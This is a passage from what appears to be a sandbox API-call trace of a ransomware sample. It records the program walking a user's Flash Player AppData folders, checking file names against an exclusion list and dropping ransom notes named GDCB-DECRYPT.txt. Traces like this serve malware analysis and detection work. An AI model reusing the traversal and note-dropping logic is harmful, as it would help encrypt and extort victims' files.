lpString2="..") returned 1 [0135.471] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt" [0135.471] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0135.471] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.471] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.471] FindClose (in: hFindFile=0x2c7900 | out: hFindFile=0x2c7900) returned 1 [0135.471] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.471] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\\\GDCB-DECRYPT.txt") returned 94 [0135.471] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.471] GetLastError () returned 0x50 [0135.471] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.472] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\") returned 77 [0135.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*" [0135.472] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c76c0 [0135.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.472] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.472] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.472] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.472] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.472] lstrcmpW (lpString1="DQQHJZ8C", lpString2=".") returned 1 [0135.472] lstrcmpW (lpString1="DQQHJZ8C", lpString2="..") returned 1 [0135.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="DQQHJZ8C" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C" [0135.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\" [0135.472] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.472] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.472] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.472] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned 86 [0135.472] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*" [0135.472] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x2c7680 [0135.472] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.473] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.473] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.473] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.473] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0135.473] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.473] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt" [0135.473] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0135.473] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.473] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0135.473] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.473] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.473] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\\\GDCB-DECRYPT.txt") returned 103 [0135.473] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\dqqhjz8c\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.473] GetLastError () returned 0x50 [0135.473] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.473] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\") returned 86 [0135.473] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*" [0135.473] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\*", lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0x2c7680 [0135.474] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.474] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.474] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.474] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.474] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0135.474] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.474] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt" [0135.474] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.474] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0135.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0135.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0135.474] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\DQQHJZ8C\\GDCB-DECRYPT.txt") returned 102 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.474] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.474] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.474] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0135.474] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.474] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.474] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.474] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.474] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt" [0135.474] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.475] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0135.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0135.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0135.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\GDCB-DECRYPT.txt") returned 93 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.475] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.475] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.475] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.475] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.475] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.475] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.475] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt" [0135.475] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.475] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0135.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0135.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0135.475] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\GDCB-DECRYPT.txt") returned 78 [0135.475] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.476] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.476] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.476] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.476] lstrcmpW (lpString1="macromedia.com", lpString2=".") returned 1 [0135.476] lstrcmpW (lpString1="macromedia.com", lpString2="..") returned 1 [0135.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\", lpString2="macromedia.com" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com" [0135.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\" [0135.476] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.476] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.476] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.476] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned 77 [0135.476] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0135.476] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.476] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.476] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.477] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.477] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.477] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.477] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.477] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt" [0135.477] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0135.477] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.477] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.477] lstrcmpW (lpString1="support", lpString2=".") returned 1 [0135.477] lstrcmpW (lpString1="support", lpString2="..") returned 1 [0135.477] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="support" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support" [0135.477] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support") returned 84 [0135.477] lstrcmpW (lpString1=".com\\support", lpString2=".sql") returned -1 [0135.477] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.477] FindClose (in: hFindFile=0x2c7680 | out: hFindFile=0x2c7680) returned 1 [0135.477] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.477] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\\\GDCB-DECRYPT.txt") returned 94 [0135.477] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.478] GetLastError () returned 0x50 [0135.478] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\") returned 77 [0135.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*" [0135.478] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c79c0 [0135.478] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.478] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.478] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.478] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.478] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.478] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.478] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.478] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt" [0135.478] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.478] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0135.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0135.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0135.478] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\GDCB-DECRYPT.txt") returned 93 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.478] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.478] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.479] FindNextFileW (in: hFindFile=0x2c79c0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.479] lstrcmpW (lpString1="support", lpString2=".") returned 